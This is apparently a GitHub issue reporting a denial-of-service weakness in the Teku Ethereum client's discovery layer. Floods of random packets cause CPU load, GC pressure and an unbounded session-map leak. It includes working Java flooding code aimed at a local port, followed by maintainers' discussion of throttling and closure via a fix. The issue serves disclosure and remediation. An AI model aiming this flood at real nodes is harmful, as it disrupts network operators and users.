Another discovery attack

Description

Continuation to #2648 and https://github.com/ethereum/public-attacknets/issues/16: Extensively sending well formed RandomPackets with random data results in high CPU and GC pressure to Teku instance:

Below only the discovery attack loads CPU:

Additionally it causes mem leak in Discovery: in unlimitly populates NodeToIdSession.recentSessions map: https://github.com/PegaSysEng/discovery/blob/b45fe1495b8e91c7ec2dfe806bca8f979f290435/src/main/java/org/ethereum/beacon/discovery/pipeline/handler/NodeIdToSession.java#L46

Attack code:

  void dos() throws Exception {
    String host = "localhost";
    int port = 9001; //Random Port

    InetAddress address = InetAddress.getByName(host);

    System.out.println("Attacking...");

    for (int j = 0; j < 100000; j++) {
      DatagramSocket dsocket = null;
      int srcPort = 10000 + (j % 50000);
      try {
        dsocket = new DatagramSocket(srcPort);
        for (int i = 0; i < 1000; i++) {

          RandomPacket randomPacket =
              RandomPacket.create(Bytes32.random(), Bytes.random(12), Bytes.random(44));

          Bytes randomPacketBytes = randomPacket.getBytes();
  //        Bytes randomPacketBytes = Bytes.random(88);
          DatagramPacket packet =
              new DatagramPacket(
                  randomPacketBytes.toArrayUnsafe(), randomPacketBytes.size(), address, port);
          dsocket.send(packet);
        }
        dsocket.close();
      } catch (Exception e) {
        System.out.println("Err opening socket on port " + srcPort + ": " + e);
      }
      Thread.sleep(1);
      System.out.println("Sent from " + srcPort);
    }
    System.out.println("Completed.");
  }

[mkalinin]

I agree with @jrhea. It would be enough to limit all incoming discovery traffic to mitigate DoS. I think there is no need in randomizing the queue, requests over the limit should be discarded instead and when limiting counter is reset client should continue processing; it looks good enough it terms of randomness in this particular case.

So, it’s gonna be pretty simple throttle mechanism that sets a flag if counter hits the limit and resets it when new request goes beyond some interval (interval could be less than a second actually).

[cemozerr]

Closed via #3437